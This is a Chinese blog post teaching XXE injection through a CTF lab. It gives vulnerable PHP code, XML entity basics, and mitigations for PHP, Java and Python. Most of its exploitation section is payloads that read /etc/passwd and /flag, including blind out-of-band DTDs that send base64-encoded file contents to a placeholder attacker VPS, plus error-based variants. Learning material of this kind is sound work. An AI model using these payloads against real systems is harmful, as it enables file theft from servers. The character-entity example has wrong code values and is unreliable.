本篇博客简单介绍了XXE漏洞的原理和常见利用方式!!!

什么是XXE?

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞

有可能造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件

XXE漏洞代码

以buuoj上Real部分[PHP]XXE为例,上面有三个文件:

simplexml_load_string.php:

1
2
3
4
5
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;

SimpleXMLElement.php:

1
2
3
4
5
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;

dom.php:

1
2
3
4
5
6
7
<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);

我们可以构造下面的payload:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/dom.php" >]>
<name>&xxe;</name>

XML

了解XXE一定要了解XML一些经常使用的语法!

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?> <!--XML申明-->
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<!--文档元素-->
<note>
<to>Mooback</to>
<from>Moonback</from>
<head>XXE</head>
<body>I am learning XML.</body>
</note>

用浏览器打开可以看到

DTD实体

实体是对数据的引用。

实体可在内部或外部进行声明,一般分为字符实体,命名实体,外部实体,参数实体,所有实体(除参数实体外)都以一个与字符(&)开始,以一个分号(;)结束。

字符实体:

对于字符实体,我们可以用十进制格式(&#nnn;,其中 nnn 是字符的十进制值)或十六进制格式(&#xhhh;,其中hhh 是字符的十六进制值)来指定任意 Unicode 字符。

举个例子:大写字母 A 是 Unicode 字符 U+0065。如果想将其表示为一个字符实体,可以输入 &#65;(十进制值)或 &#xa9;(十六进制值)

命名实体(内部实体):

1
<!ENTITY 实体名称 "实体的值">

命名实体在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。

外部实体:

1
<!ENTITY 实体名称 SYSTEM "URI">

外部实体表示外部文件的内容,在有些情况下很有用,比如说,您在创建一本图书并且想将每一章存储为一个单独的文件。您可能会创建一组如下所示的实体。

1
2
3
<!ENTITY chap1 SYSTEM "chapter-1.xml">
<!ENTITY chap2 SYSTEM "chapter-2.xml">
<!ENTITY chap3 SYSTEM "chapter-3.xml">

现在,当您在主图书 XML 文件中将这些实体放到一起时,这些文件的内容将插入在引用点。

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ENTITY chap1 SYSTEM "chapter-1.xml">
<!ENTITY chap2 SYSTEM "chapter-2.xml">
<!ENTITY chap3 SYSTEM "chapter-3.xml">
&chap1;
&chap2;
&chap3;
]>

由于这些文件的内容被插入到 XML 文档中,因此它们也必须是有效的 XML,而且它们必须是平衡的.当上面的 XML 文档被解析时,它将被读取为一个大文档,包含 chapter-1.xmlchapter-2.xmlchapter-3.xml 文件的内容。

参数实体:

1
2
3
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

参数实体只用于 DTD 和文档的内部子集中。它们使用百分号(%)而不是与字符,可以是命名实体或外部实体。

注意点:

  • 参数实体必须定义在单独的DTD文档中或XML文档的DTD区(但是引用只能在DTD文档中,即外部子集,而不能在XML文档的DTD区),前者为该XML文档的外部子集,后者为该XML文档的内部子集。
  • 参数实体的作用是作为DTD中的元素的条件控制。参数实体定义以%作为开头,引用也以%开头,以;结尾

语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?

主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

漏洞利用

任意文件读取

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://yourhost/test.xml">
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<ticket><username>&file;</username><code>dsad</code></ticket>

引入服务器DTD文件Blind XXE(OOB)

第一种方式:

payload:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % remote SYSTEM "http://your_vps/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

vps上的test.dtd

1
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://your_vps/get.php?file=%file;'>">

注意:如果定义成参数实体的话%需要实体编码

第二种方式:

自己vps上的dtd

1
2
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip:10001/?%file;'>">
%start;

payload:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://myip/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>

使用的php://filter将文件内容进行了base64编码,因为当我们读取的文件是php或则html文件时,文件的代码包含< >符号时会导致解析错误

让存在漏洞的地方先加载自己服务器上的dtd文件,然后让其请求并带上利用php伪协议base64加密的文件内容,通过服务端的日志即可做到不回显的任意文件读取

第三种方式:

vps上的test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:9001?p=%file;'>">

payload:

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://yourvps/test.dtd">
%remote;%int;%send;
]>
<msg><id>moonback</id><name>aasd</name><level>1000</level><time>415441</time></msg>

这种的好处是没有file://,php://filter等关键词

基于报错的Blind XXE

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据

通过引入服务器文件

xml.dtd

1
2
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;

payload

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://you_vps/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>

通过引入本地文件

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
&#x25;eval;
&#x25;send;
'>
%remote;
]>
<message>1234</message>

CoogleCTF上的一道题:链接 writeup

payload:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%remote;
]>
<message>10</message>

还不太懂!!!!

漏洞修复

使用开发语言提供的禁用外部实体的方法
PHP:

1
libxml_disable_entity_loader(true);

Libxml2.9.0 以后 ,默认不解析外部实体

JAVA:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC

参考:
好文,作者有心了!!!

https://www.freebuf.com/vuls/207639.html

评论